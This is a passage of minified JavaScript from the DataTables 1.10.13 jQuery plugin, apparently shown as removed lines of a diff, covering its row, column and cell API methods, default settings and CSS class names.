-else d(a);this.context=sa(c);b&&h.merge(this,b);this.selector={rows:null,cols:null,opts:null};u.extend(this,this,Ub)};m.Api=u;h.extend(u.prototype,{any:function(){return 0!==this.count()},concat:w.concat,context:[],count:function(){return this.flatten().length},each:function(a){for(var b=0,c=this.length;b<c;b++)a.call(this,this[b],b,this);return this},eq:function(a){var b=this.context;return b.length>a?new u(b[a],this[a]):null},filter:function(a){var b=[];if(w.filter)b=w.filter.call(this,a,this);

-else for(var c=0,d=this.length;c<d;c++)a.call(this,this[c],c,this)&&b.push(this[c]);return new u(this.context,b)},flatten:function(){var a=[];return new u(this.context,a.concat.apply(a,this.toArray()))},join:w.join,indexOf:w.indexOf||function(a,b){for(var c=b||0,d=this.length;c<d;c++)if(this[c]===a)return c;return-1},iterator:function(a,b,c,d){var e=[],f,g,h,i,n,l=this.context,m,p,t=this.selector;"string"===typeof a&&(d=c,c=b,b=a,a=!1);g=0;for(h=l.length;g<h;g++){var s=new u(l[g]);if("table"===b)f=

-c.call(s,l[g],g),f!==k&&e.push(f);else if("columns"===b||"rows"===b)f=c.call(s,l[g],this[g],g),f!==k&&e.push(f);else if("column"===b||"column-rows"===b||"row"===b||"cell"===b){p=this[g];"column-rows"===b&&(m=Da(l[g],t.opts));i=0;for(n=p.length;i<n;i++)f=p[i],f="cell"===b?c.call(s,l[g],f.row,f.column,g,i):c.call(s,l[g],f,g,i,m),f!==k&&e.push(f)}}return e.length||d?(a=new u(l,a?e.concat.apply([],e):e),b=a.selector,b.rows=t.rows,b.cols=t.cols,b.opts=t.opts,a):this},lastIndexOf:w.lastIndexOf||function(a,

-b){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(a){var b=[];if(w.map)b=w.map.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)b.push(a.call(this,this[c],c));return new u(this.context,b)},pluck:function(a){return this.map(function(b){return b[a]})},pop:w.pop,push:w.push,reduce:w.reduce||function(a,b){return jb(this,a,b,0,this.length,1)},reduceRight:w.reduceRight||function(a,b){return jb(this,a,b,this.length-1,-1,-1)},reverse:w.reverse,selector:null,shift:w.shift,

-sort:w.sort,splice:w.splice,toArray:function(){return w.slice.call(this)},to$:function(){return h(this)},toJQuery:function(){return h(this)},unique:function(){return new u(this.context,sa(this))},unshift:w.unshift});u.extend=function(a,b,c){if(c.length&&b&&(b instanceof u||b.__dt_wrapper)){var d,e,f,g=function(a,b,c){return function(){var d=b.apply(a,arguments);u.extend(d,d,c.methodExt);return d}};d=0;for(e=c.length;d<e;d++)f=c[d],b[f.name]="function"===typeof f.val?g(a,f.val,f):h.isPlainObject(f.val)?

-{}:f.val,b[f.name].__dt_wrapper=!0,u.extend(a,b[f.name],f.propExt)}};u.register=p=function(a,b){if(h.isArray(a))for(var c=0,d=a.length;c<d;c++)u.register(a[c],b);else for(var e=a.split("."),f=Ub,g,j,c=0,d=e.length;c<d;c++){g=(j=-1!==e[c].indexOf("()"))?e[c].replace("()",""):e[c];var i;a:{i=0;for(var n=f.length;i<n;i++)if(f[i].name===g){i=f[i];break a}i=null}i||(i={name:g,val:{},methodExt:[],propExt:[]},f.push(i));c===d-1?i.val=b:f=j?i.methodExt:i.propExt}};u.registerPlural=t=function(a,b,c){u.register(a,

-c);u.register(b,function(){var a=c.apply(this,arguments);return a===this?this:a instanceof u?a.length?h.isArray(a[0])?new u(a.context,a[0]):a[0]:k:a})};p("tables()",function(a){var b;if(a){b=u;var c=this.context;if("number"===typeof a)a=[c[a]];else var d=h.map(c,function(a){return a.nTable}),a=h(d).filter(a).map(function(){var a=h.inArray(this,d);return c[a]}).toArray();b=new b(a)}else b=this;return b});p("table()",function(a){var a=this.tables(a),b=a.context;return b.length?new u(b[0]):a});t("tables().nodes()",

-"table().node()",function(){return this.iterator("table",function(a){return a.nTable},1)});t("tables().body()","table().body()",function(){return this.iterator("table",function(a){return a.nTBody},1)});t("tables().header()","table().header()",function(){return this.iterator("table",function(a){return a.nTHead},1)});t("tables().footer()","table().footer()",function(){return this.iterator("table",function(a){return a.nTFoot},1)});t("tables().containers()","table().container()",function(){return this.iterator("table",

-function(a){return a.nTableWrapper},1)});p("draw()",function(a){return this.iterator("table",function(b){"page"===a?O(b):("string"===typeof a&&(a="full-hold"===a?!1:!0),T(b,!1===a))})});p("page()",function(a){return a===k?this.page.info().page:this.iterator("table",function(b){Va(b,a)})});p("page.info()",function(){if(0===this.context.length)return k;var a=this.context[0],b=a._iDisplayStart,c=a.oFeatures.bPaginate?a._iDisplayLength:-1,d=a.fnRecordsDisplay(),e=-1===c;return{page:e?0:Math.floor(b/c),

-pages:e?1:Math.ceil(d/c),start:b,end:a.fnDisplayEnd(),length:c,recordsTotal:a.fnRecordsTotal(),recordsDisplay:d,serverSide:"ssp"===y(a)}});p("page.len()",function(a){return a===k?0!==this.context.length?this.context[0]._iDisplayLength:k:this.iterator("table",function(b){Ta(b,a)})});var Vb=function(a,b,c){if(c){var d=new u(a);d.one("draw",function(){c(d.ajax.json())})}if("ssp"==y(a))T(a,b);else{C(a,!0);var e=a.jqXHR;e&&4!==e.readyState&&e.abort();ua(a,[],function(c){pa(a);for(var c=va(a,c),d=0,e=c.length;d<

-e;d++)N(a,c[d]);T(a,b);C(a,!1)})}};p("ajax.json()",function(){var a=this.context;if(0<a.length)return a[0].json});p("ajax.params()",function(){var a=this.context;if(0<a.length)return a[0].oAjaxData});p("ajax.reload()",function(a,b){return this.iterator("table",function(c){Vb(c,!1===b,a)})});p("ajax.url()",function(a){var b=this.context;if(a===k){if(0===b.length)return k;b=b[0];return b.ajax?h.isPlainObject(b.ajax)?b.ajax.url:b.ajax:b.sAjaxSource}return this.iterator("table",function(b){h.isPlainObject(b.ajax)?

-b.ajax.url=a:b.ajax=a})});p("ajax.url().load()",function(a,b){return this.iterator("table",function(c){Vb(c,!1===b,a)})});var bb=function(a,b,c,d,e){var f=[],g,j,i,n,l,m;i=typeof b;if(!b||"string"===i||"function"===i||b.length===k)b=[b];i=0;for(n=b.length;i<n;i++){j=b[i]&&b[i].split&&!b[i].match(/[\[\(:]/)?b[i].split(","):[b[i]];l=0;for(m=j.length;l<m;l++)(g=c("string"===typeof j[l]?h.trim(j[l]):j[l]))&&g.length&&(f=f.concat(g))}a=x.selector[a];if(a.length){i=0;for(n=a.length;i<n;i++)f=a[i](d,e,f)}return sa(f)},

-cb=function(a){a||(a={});a.filter&&a.search===k&&(a.search=a.filter);return h.extend({search:"none",order:"current",page:"all"},a)},db=function(a){for(var b=0,c=a.length;b<c;b++)if(0<a[b].length)return a[0]=a[b],a[0].length=1,a.length=1,a.context=[a.context[b]],a;a.length=0;return a},Da=function(a,b){var c,d,e,f=[],g=a.aiDisplay;c=a.aiDisplayMaster;var j=b.search;d=b.order;e=b.page;if("ssp"==y(a))return"removed"===j?[]:X(0,c.length);if("current"==e){c=a._iDisplayStart;for(d=a.fnDisplayEnd();c<d;c++)f.push(g[c])}else if("current"==

-d||"applied"==d)f="none"==j?c.slice():"applied"==j?g.slice():h.map(c,function(a){return-1===h.inArray(a,g)?a:null});else if("index"==d||"original"==d){c=0;for(d=a.aoData.length;c<d;c++)"none"==j?f.push(c):(e=h.inArray(c,g),(-1===e&&"removed"==j||0<=e&&"applied"==j)&&f.push(c))}return f};p("rows()",function(a,b){a===k?a="":h.isPlainObject(a)&&(b=a,a="");var b=cb(b),c=this.iterator("table",function(c){var e=b,f;return bb("row",a,function(a){var b=Qb(a);if(b!==null&&!e)return[b];f||(f=Da(c,e));if(b!==

-null&&h.inArray(b,f)!==-1)return[b];if(a===null||a===k||a==="")return f;if(typeof a==="function")return h.map(f,function(b){var e=c.aoData[b];return a(b,e._aData,e.nTr)?b:null});b=Tb(ja(c.aoData,f,"nTr"));if(a.nodeName){if(a._DT_RowIndex!==k)return[a._DT_RowIndex];if(a._DT_CellIndex)return[a._DT_CellIndex.row];b=h(a).closest("*[data-dt-row]");return b.length?[b.data("dt-row")]:[]}if(typeof a==="string"&&a.charAt(0)==="#"){var i=c.aIds[a.replace(/^#/,"")];if(i!==k)return[i.idx]}return h(b).filter(a).map(function(){return this._DT_RowIndex}).toArray()},

-c,e)},1);c.selector.rows=a;c.selector.opts=b;return c});p("rows().nodes()",function(){return this.iterator("row",function(a,b){return a.aoData[b].nTr||k},1)});p("rows().data()",function(){return this.iterator(!0,"rows",function(a,b){return ja(a.aoData,b,"_aData")},1)});t("rows().cache()","row().cache()",function(a){return this.iterator("row",function(b,c){var d=b.aoData[c];return"search"===a?d._aFilterData:d._aSortData},1)});t("rows().invalidate()","row().invalidate()",function(a){return this.iterator("row",

-function(b,c){da(b,c,a)})});t("rows().indexes()","row().index()",function(){return this.iterator("row",function(a,b){return b},1)});t("rows().ids()","row().id()",function(a){for(var b=[],c=this.context,d=0,e=c.length;d<e;d++)for(var f=0,g=this[d].length;f<g;f++){var h=c[d].rowIdFn(c[d].aoData[this[d][f]]._aData);b.push((!0===a?"#":"")+h)}return new u(c,b)});t("rows().remove()","row().remove()",function(){var a=this;this.iterator("row",function(b,c,d){var e=b.aoData,f=e[c],g,h,i,n,l;e.splice(c,1);

-g=0;for(h=e.length;g<h;g++)if(i=e[g],l=i.anCells,null!==i.nTr&&(i.nTr._DT_RowIndex=g),null!==l){i=0;for(n=l.length;i<n;i++)l[i]._DT_CellIndex.row=g}qa(b.aiDisplayMaster,c);qa(b.aiDisplay,c);qa(a[d],c,!1);Ua(b);c=b.rowIdFn(f._aData);c!==k&&delete b.aIds[c]});this.iterator("table",function(a){for(var c=0,d=a.aoData.length;c<d;c++)a.aoData[c].idx=c});return this});p("rows.add()",function(a){var b=this.iterator("table",function(b){var c,f,g,h=[];f=0;for(g=a.length;f<g;f++)c=a[f],c.nodeName&&"TR"===c.nodeName.toUpperCase()?

-h.push(oa(b,c)[0]):h.push(N(b,c));return h},1),c=this.rows(-1);c.pop();h.merge(c,b);return c});p("row()",function(a,b){return db(this.rows(a,b))});p("row().data()",function(a){var b=this.context;if(a===k)return b.length&&this.length?b[0].aoData[this[0]]._aData:k;b[0].aoData[this[0]]._aData=a;da(b[0],this[0],"data");return this});p("row().node()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]].nTr||null:null});p("row.add()",function(a){a instanceof h&&a.length&&(a=a[0]);

-var b=this.iterator("table",function(b){return a.nodeName&&"TR"===a.nodeName.toUpperCase()?oa(b,a)[0]:N(b,a)});return this.row(b[0])});var eb=function(a,b){var c=a.context;if(c.length&&(c=c[0].aoData[b!==k?b:a[0]])&&c._details)c._details.remove(),c._detailsShow=k,c._details=k},Wb=function(a,b){var c=a.context;if(c.length&&a.length){var d=c[0].aoData[a[0]];if(d._details){(d._detailsShow=b)?d._details.insertAfter(d.nTr):d._details.detach();var e=c[0],f=new u(e),g=e.aoData;f.off("draw.dt.DT_details column-visibility.dt.DT_details destroy.dt.DT_details");

-0<D(g,"_details").length&&(f.on("draw.dt.DT_details",function(a,b){e===b&&f.rows({page:"current"}).eq(0).each(function(a){a=g[a];a._detailsShow&&a._details.insertAfter(a.nTr)})}),f.on("column-visibility.dt.DT_details",function(a,b){if(e===b)for(var c,d=ba(b),f=0,h=g.length;f<h;f++)c=g[f],c._details&&c._details.children("td[colspan]").attr("colspan",d)}),f.on("destroy.dt.DT_details",function(a,b){if(e===b)for(var c=0,d=g.length;c<d;c++)g[c]._details&&eb(f,c)}))}}};p("row().child()",function(a,b){var c=

-this.context;if(a===k)return c.length&&this.length?c[0].aoData[this[0]]._details:k;if(!0===a)this.child.show();else if(!1===a)eb(this);else if(c.length&&this.length){var d=c[0],c=c[0].aoData[this[0]],e=[],f=function(a,b){if(h.isArray(a)||a instanceof h)for(var c=0,k=a.length;c<k;c++)f(a[c],b);else a.nodeName&&"tr"===a.nodeName.toLowerCase()?e.push(a):(c=h("<tr><td/></tr>").addClass(b),h("td",c).addClass(b).html(a)[0].colSpan=ba(d),e.push(c[0]))};f(a,b);c._details&&c._details.detach();c._details=h(e);

-c._detailsShow&&c._details.insertAfter(c.nTr)}return this});p(["row().child.show()","row().child().show()"],function(){Wb(this,!0);return this});p(["row().child.hide()","row().child().hide()"],function(){Wb(this,!1);return this});p(["row().child.remove()","row().child().remove()"],function(){eb(this);return this});p("row().child.isShown()",function(){var a=this.context;return a.length&&this.length?a[0].aoData[this[0]]._detailsShow||!1:!1});var fc=/^([^:]+):(name|visIdx|visible)$/,Xb=function(a,b,

-c,d,e){for(var c=[],d=0,f=e.length;d<f;d++)c.push(B(a,e[d],b));return c};p("columns()",function(a,b){a===k?a="":h.isPlainObject(a)&&(b=a,a="");var b=cb(b),c=this.iterator("table",function(c){var e=a,f=b,g=c.aoColumns,j=D(g,"sName"),i=D(g,"nTh");return bb("column",e,function(a){var b=Qb(a);if(a==="")return X(g.length);if(b!==null)return[b>=0?b:g.length+b];if(typeof a==="function"){var e=Da(c,f);return h.map(g,function(b,f){return a(f,Xb(c,f,0,0,e),i[f])?f:null})}var k=typeof a==="string"?a.match(fc):

-"";if(k)switch(k[2]){case "visIdx":case "visible":b=parseInt(k[1],10);if(b<0){var m=h.map(g,function(a,b){return a.bVisible?b:null});return[m[m.length+b]]}return[$(c,b)];case "name":return h.map(j,function(a,b){return a===k[1]?b:null});default:return[]}if(a.nodeName&&a._DT_CellIndex)return[a._DT_CellIndex.column];b=h(i).filter(a).map(function(){return h.inArray(this,i)}).toArray();if(b.length||!a.nodeName)return b;b=h(a).closest("*[data-dt-column]");return b.length?[b.data("dt-column")]:[]},c,f)},

-1);c.selector.cols=a;c.selector.opts=b;return c});t("columns().header()","column().header()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].nTh},1)});t("columns().footer()","column().footer()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].nTf},1)});t("columns().data()","column().data()",function(){return this.iterator("column-rows",Xb,1)});t("columns().dataSrc()","column().dataSrc()",function(){return this.iterator("column",function(a,b){return a.aoColumns[b].mData},

-1)});t("columns().cache()","column().cache()",function(a){return this.iterator("column-rows",function(b,c,d,e,f){return ja(b.aoData,f,"search"===a?"_aFilterData":"_aSortData",c)},1)});t("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",function(a,b,c,d,e){return ja(a.aoData,e,"anCells",b)},1)});t("columns().visible()","column().visible()",function(a,b){var c=this.iterator("column",function(b,c){if(a===k)return b.aoColumns[c].bVisible;var f=b.aoColumns,g=f[c],j=b.aoData,

-i,n,l;if(a!==k&&g.bVisible!==a){if(a){var m=h.inArray(!0,D(f,"bVisible"),c+1);i=0;for(n=j.length;i<n;i++)l=j[i].nTr,f=j[i].anCells,l&&l.insertBefore(f[c],f[m]||null)}else h(D(b.aoData,"anCells",c)).detach();g.bVisible=a;fa(b,b.aoHeader);fa(b,b.aoFooter);za(b)}});a!==k&&(this.iterator("column",function(c,e){s(c,null,"column-visibility",[c,e,a,b])}),(b===k||b)&&this.columns.adjust());return c});t("columns().indexes()","column().index()",function(a){return this.iterator("column",function(b,c){return"visible"===

-a?aa(b,c):c},1)});p("columns.adjust()",function(){return this.iterator("table",function(a){Z(a)},1)});p("column.index()",function(a,b){if(0!==this.context.length){var c=this.context[0];if("fromVisible"===a||"toData"===a)return $(c,b);if("fromData"===a||"toVisible"===a)return aa(c,b)}});p("column()",function(a,b){return db(this.columns(a,b))});p("cells()",function(a,b,c){h.isPlainObject(a)&&(a.row===k?(c=a,a=null):(c=b,b=null));h.isPlainObject(b)&&(c=b,b=null);if(null===b||b===k)return this.iterator("table",

-function(b){var d=a,e=cb(c),f=b.aoData,g=Da(b,e),i=Tb(ja(f,g,"anCells")),j=h([].concat.apply([],i)),l,n=b.aoColumns.length,m,p,t,u,s,v;return bb("cell",d,function(a){var c=typeof a==="function";if(a===null||a===k||c){m=[];p=0;for(t=g.length;p<t;p++){l=g[p];for(u=0;u<n;u++){s={row:l,column:u};if(c){v=f[l];a(s,B(b,l,u),v.anCells?v.anCells[u]:null)&&m.push(s)}else m.push(s)}}return m}if(h.isPlainObject(a))return[a];c=j.filter(a).map(function(a,b){return{row:b._DT_CellIndex.row,column:b._DT_CellIndex.column}}).toArray();

-if(c.length||!a.nodeName)return c;v=h(a).closest("*[data-dt-row]");return v.length?[{row:v.data("dt-row"),column:v.data("dt-column")}]:[]},b,e)});var d=this.columns(b,c),e=this.rows(a,c),f,g,j,i,n,l=this.iterator("table",function(a,b){f=[];g=0;for(j=e[b].length;g<j;g++){i=0;for(n=d[b].length;i<n;i++)f.push({row:e[b][g],column:d[b][i]})}return f},1);h.extend(l.selector,{cols:b,rows:a,opts:c});return l});t("cells().nodes()","cell().node()",function(){return this.iterator("cell",function(a,b,c){return(a=

-a.aoData[b])&&a.anCells?a.anCells[c]:k},1)});p("cells().data()",function(){return this.iterator("cell",function(a,b,c){return B(a,b,c)},1)});t("cells().cache()","cell().cache()",function(a){a="search"===a?"_aFilterData":"_aSortData";return this.iterator("cell",function(b,c,d){return b.aoData[c][a][d]},1)});t("cells().render()","cell().render()",function(a){return this.iterator("cell",function(b,c,d){return B(b,c,d,a)},1)});t("cells().indexes()","cell().index()",function(){return this.iterator("cell",

-function(a,b,c){return{row:b,column:c,columnVisible:aa(a,c)}},1)});t("cells().invalidate()","cell().invalidate()",function(a){return this.iterator("cell",function(b,c,d){da(b,c,a,d)})});p("cell()",function(a,b,c){return db(this.cells(a,b,c))});p("cell().data()",function(a){var b=this.context,c=this[0];if(a===k)return b.length&&c.length?B(b[0],c[0].row,c[0].column):k;lb(b[0],c[0].row,c[0].column,a);da(b[0],c[0].row,"data",c[0].column);return this});p("order()",function(a,b){var c=this.context;if(a===

-k)return 0!==c.length?c[0].aaSorting:k;"number"===typeof a?a=[[a,b]]:a.length&&!h.isArray(a[0])&&(a=Array.prototype.slice.call(arguments));return this.iterator("table",function(b){b.aaSorting=a.slice()})});p("order.listener()",function(a,b,c){return this.iterator("table",function(d){Oa(d,a,b,c)})});p("order.fixed()",function(a){if(!a){var b=this.context,b=b.length?b[0].aaSortingFixed:k;return h.isArray(b)?{pre:b}:b}return this.iterator("table",function(b){b.aaSortingFixed=h.extend(!0,{},a)})});p(["columns().order()",

-"column().order()"],function(a){var b=this;return this.iterator("table",function(c,d){var e=[];h.each(b[d],function(b,c){e.push([c,a])});c.aaSorting=e})});p("search()",function(a,b,c,d){var e=this.context;return a===k?0!==e.length?e[0].oPreviousSearch.sSearch:k:this.iterator("table",function(e){e.oFeatures.bFilter&&ga(e,h.extend({},e.oPreviousSearch,{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),1)})});t("columns().search()","column().search()",function(a,

-b,c,d){return this.iterator("column",function(e,f){var g=e.aoPreSearchCols;if(a===k)return g[f].sSearch;e.oFeatures.bFilter&&(h.extend(g[f],{sSearch:a+"",bRegex:null===b?!1:b,bSmart:null===c?!0:c,bCaseInsensitive:null===d?!0:d}),ga(e,e.oPreviousSearch,1))})});p("state()",function(){return this.context.length?this.context[0].oSavedState:null});p("state.clear()",function(){return this.iterator("table",function(a){a.fnStateSaveCallback.call(a.oInstance,a,{})})});p("state.loaded()",function(){return this.context.length?

-this.context[0].oLoadedState:null});p("state.save()",function(){return this.iterator("table",function(a){za(a)})});m.versionCheck=m.fnVersionCheck=function(a){for(var b=m.version.split("."),a=a.split("."),c,d,e=0,f=a.length;e<f;e++)if(c=parseInt(b[e],10)||0,d=parseInt(a[e],10)||0,c!==d)return c>d;return!0};m.isDataTable=m.fnIsDataTable=function(a){var b=h(a).get(0),c=!1;if(a instanceof m.Api)return!0;h.each(m.settings,function(a,e){var f=e.nScrollHead?h("table",e.nScrollHead)[0]:null,g=e.nScrollFoot?

-h("table",e.nScrollFoot)[0]:null;if(e.nTable===b||f===b||g===b)c=!0});return c};m.tables=m.fnTables=function(a){var b=!1;h.isPlainObject(a)&&(b=a.api,a=a.visible);var c=h.map(m.settings,function(b){if(!a||a&&h(b.nTable).is(":visible"))return b.nTable});return b?new u(c):c};m.camelToHungarian=J;p("$()",function(a,b){var c=this.rows(b).nodes(),c=h(c);return h([].concat(c.filter(a).toArray(),c.find(a).toArray()))});h.each(["on","one","off"],function(a,b){p(b+"()",function(){var a=Array.prototype.slice.call(arguments);

-a[0]=h.map(a[0].split(/\s/),function(a){return!a.match(/\.dt\b/)?a+".dt":a}).join(" ");var d=h(this.tables().nodes());d[b].apply(d,a);return this})});p("clear()",function(){return this.iterator("table",function(a){pa(a)})});p("settings()",function(){return new u(this.context,this.context)});p("init()",function(){var a=this.context;return a.length?a[0].oInit:null});p("data()",function(){return this.iterator("table",function(a){return D(a.aoData,"_aData")}).flatten()});p("destroy()",function(a){a=a||

-!1;return this.iterator("table",function(b){var c=b.nTableWrapper.parentNode,d=b.oClasses,e=b.nTable,f=b.nTBody,g=b.nTHead,j=b.nTFoot,i=h(e),f=h(f),k=h(b.nTableWrapper),l=h.map(b.aoData,function(a){return a.nTr}),p;b.bDestroying=!0;s(b,"aoDestroyCallback","destroy",[b]);a||(new u(b)).columns().visible(!0);k.off(".DT").find(":not(tbody *)").off(".DT");h(E).off(".DT-"+b.sInstance);e!=g.parentNode&&(i.children("thead").detach(),i.append(g));j&&e!=j.parentNode&&(i.children("tfoot").detach(),i.append(j));

-b.aaSorting=[];b.aaSortingFixed=[];ya(b);h(l).removeClass(b.asStripeClasses.join(" "));h("th, td",g).removeClass(d.sSortable+" "+d.sSortableAsc+" "+d.sSortableDesc+" "+d.sSortableNone);b.bJUI&&(h("th span."+d.sSortIcon+", td span."+d.sSortIcon,g).detach(),h("th, td",g).each(function(){var a=h("div."+d.sSortJUIWrapper,this);h(this).append(a.contents());a.detach()}));f.children().detach();f.append(l);g=a?"remove":"detach";i[g]();k[g]();!a&&c&&(c.insertBefore(e,b.nTableReinsertBefore),i.css("width",

-b.sDestroyWidth).removeClass(d.sTable),(p=b.asDestroyStripes.length)&&f.children().each(function(a){h(this).addClass(b.asDestroyStripes[a%p])}));c=h.inArray(b,m.settings);-1!==c&&m.settings.splice(c,1)})});h.each(["column","row","cell"],function(a,b){p(b+"s().every()",function(a){var d=this.selector.opts,e=this;return this.iterator(b,function(f,g,h,i,m){a.call(e[b](g,"cell"===b?h:d,"cell"===b?d:k),g,h,i,m)})})});p("i18n()",function(a,b,c){var d=this.context[0],a=R(a)(d.oLanguage);a===k&&(a=b);c!==

-k&&h.isPlainObject(a)&&(a=a[c]!==k?a[c]:a._);return a.replace("%d",c)});m.version="1.10.13";m.settings=[];m.models={};m.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0};m.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null,idx:-1};m.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,

-mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null};m.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bJQueryUI:!1,bLengthChange:!0,bPaginate:!0,bProcessing:!1,

-bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(a){return a.toString().replace(/\B(?=(\d{3})+(?!\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(a){try{return JSON.parse((-1===a.iStateDuration?

-sessionStorage:localStorage).getItem("DataTables_"+a.sInstance+"_"+location.pathname))}catch(b){}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(a,b){try{(-1===a.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+a.sInstance+"_"+location.pathname,JSON.stringify(b))}catch(c){}},fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",

-sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",sInfoFiltered:"(filtered from _MAX_ total entries)",sInfoPostFix:"",sDecimal:"",sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"Processing...",sSearch:"Search:",sSearchPlaceholder:"",sUrl:"",sZeroRecords:"No matching records found"},

-oSearch:h.extend({},m.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",searchDelay:null,sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null,rowId:"DT_RowId"};Y(m.defaults);m.defaults.column={aDataSort:null,iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,

-sType:null,sWidth:null};Y(m.defaults.column);m.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1,bBounding:!1,barWidth:0},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],

-aIds:{},aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,

-searchDelay:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,bAjaxDataGet:!0,jqXHR:null,json:k,oAjaxData:k,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,bJUI:null,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],

-fnRecordsTotal:function(){return"ssp"==y(this)?1*this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==y(this)?1*this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var a=this._iDisplayLength,b=this._iDisplayStart,c=b+a,d=this.aiDisplay.length,e=this.oFeatures,f=e.bPaginate;return e.bServerSide?!1===f||-1===a?b+d:Math.min(b+a,this._iRecordsDisplay):!f||c>d||-1===a?d:c},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,

-aLastSort:[],oPlugins:{},rowIdFn:null,rowId:null};m.ext=x={buttons:{},classes:{},builder:"-source-",errMode:"alert",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:m.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:m.version};h.extend(x,{afnFiltering:x.search,aTypes:x.type.detect,ofnSearch:x.type.search,oSort:x.type.order,afnSortData:x.order,aoFeatures:x.feature,

-oApi:x.internal,oStdClasses:x.classes,oPagination:x.pager});h.extend(m.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",

-sSortable:"sorting",sSortableAsc:"sorting_asc_disabled",sSortableDesc:"sorting_desc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",sScrollBody:"dataTables_scrollBody",sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",

